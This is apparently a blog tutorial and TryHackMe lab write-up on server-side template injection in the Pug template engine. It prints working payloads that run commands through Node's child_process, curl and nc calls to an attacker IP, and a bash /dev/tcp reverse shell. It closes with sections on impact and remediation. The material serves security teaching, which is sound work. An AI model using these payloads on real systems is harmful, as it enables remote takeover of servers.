In this article, we will be going through how rendering engines can be vulnerable and give access to the system. There are many rendering engines out there and PUG is one of them. This rendering engine is vulnerable to SSTI (Server Side Template Injection). SSTI in Pug versions <3.0.1 allows the attacker to gain remote access through RCE (Remote Command Execution).
Pug
Pug is a whitespace-sensitive server-side template language for writing HTML. The web pages can be processed locally internally on the web server before they are handed over to the browser. It is commonly used with express/nodeJS as a template engine.
SSTI
It is also known as the Server Side Template Injection. This vulnerability arises when an attacker is able to use native template syntax to inject a malicious payload into template. That payload is then executed on the server side.
SSTI in Template Engines
Template engines generate web pages by combining fixed templates with volatile data. SSTI attacks can occur when user input concatenates directly into a template, rather than passing it in as data. This allows attackers to inject arbitrary template directives in order to manipulate the template engine. Eventually enabling them to take complete control of the server. As the name suggests, SSTI payloads are delivered and evaluated on the server side, potentially making them much more dangerous than a typical client-side template injection.
Finding SSTI in Pug
For the demonstration of vulnerability exploitation, we will go through the awesome room Templates on TryHackMe.
Before starting, make sure you are connected to the VPN provided by THM and have the machine started.
For my instance, the IP of the target machine is 10.10.240.107 and the vulnerable website is running at port 5000.
Exploring Website
Go to http://10.10.240.107:5000 and you will see a simple Pug to HTML
converter as below

Clicking the Convert to HTML
button with the default content in the editor gives the HTML code of that Pug Template
as below
<!DOCTYPE html><head><title>Pug</title><script>console.log("Pugs are cute")</script></head><h1>Pug - node template engine</h1><div class="col" id="container"><p>You are amazing</p><p>Pug is a terse and simple templating language.</p></div>
It is clear that the application is taking the pug template and converting it into HTML.
Testing for SSTI
Since it is a template engine, we can try putting Server Side Template Injection payloads and see their execution. For the beginning, we can start with a simple test payload #{7*7}
. Put the payload in the code editor, remove the default content after title and submit it

The output of this request is what we are expecting
<!DOCTYPE html><head><title>49</title></head>
Leveraging SSTI to RCE
Having the confirmation of SSTI, we can look for advanced payloads to gain RCE (Remote Command Execution). One of the awesome resources is Hack Tricks which has a collection of multiple procedures and payloads for a vulnerability.
It has many SSTI payloads for Pug as well. Testing for simple command execution, we can use the following payload
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('whoami')}()}
Executing this payload gives the output as below
<!DOCTYPE html><head><title></title></head>
Trying multiple Linux commands gives the same output.
Reverse Shell
Since simple commands are not working, we can directly try for getting the reverse shell. For that, modify the payload to give us a reverse connection from the target machine as below
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('nc 10.8.8.52 1337')}()}
Here we are using nc
to connect to the attacker machine with IP 10.8.8.52
on port 1337. But before executing the payload, we need to start the nc
listener on the attacker machine using the following command
nc -nlvp 1337

Executing the payload does not give any connection from the target machine but rather same output.
Using CURL
Since the listener is running, we can test whether the target machine is able to reach the attacker machine or not by using the following curl command
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.8.8.52:1337')}()}
This payload again gives the same output but we see the request in our nc listener as follows

Generating reverse shell & executing
As the target is able to reach the attacker machine and nc is not giving the reverse shell, we can generate the reverse shell from browser based shell generator.
We just need to provide the attacker machine IP and the listening port and it will give us the reverse shell oneliners in multiple languages.

We will use the simple sh
shell and see if it works
sh -i >& /dev/tcp/10.8.8.52/1337 0>&1
Eventually, the command would become as follows
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('sh -i >& /dev/tcp/10.8.8.52/1337 0>&1')}()}
Executing this payload gives same old output and no reverse shell. Since it is a linux machine, we can try passing the revshell oneliner as bash command using c flag as below
bash -c "sh -i >& /dev/tcp/10.8.8.52/1337 0>&1"
The full command will become as
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('bash -c "sh -i >& /dev/tcp/10.8.8.52/1337 0>&1"')}()}
Finally, this gives us the reverse shell on our listener as below

At last, we find the flag file and submit it to complete the room as well.

Other Template Engines
While there are many more template engines, thus giving attackers a huge playground to find SSTIs. Some of the other famous template engines are as follows
- Twig
- Jinja
- Mako
- Smarty
Impact of SSTI
Server-side template injection vulnerabilities can expose websites to a variety of attacks depending on the template engine in question and how exactly the application uses it. In certain rare circumstances, these vulnerabilities pose no real security risk. However, most of the time, the impact of server-side template injection can be catastrophic.
At the severe end of the scale, an attacker can potentially achieve remote code execution, taking full control of the back-end server and using it to perform other attacks on internal infrastructure.
Even in cases where full remote code execution is not possible, an attacker can often still use server-side template injection as the basis for numerous other attacks, potentially gaining read access to sensitive data and arbitrary files on the server.
Remediations
- Don’t allow any users to modify or submit new templates
- Always use a “logic-less” template engine, such as Mustache, unless absolutely necessary
- If necessary, only execute users’ code in a sandbox environment, but the sandbox environments are also bypassable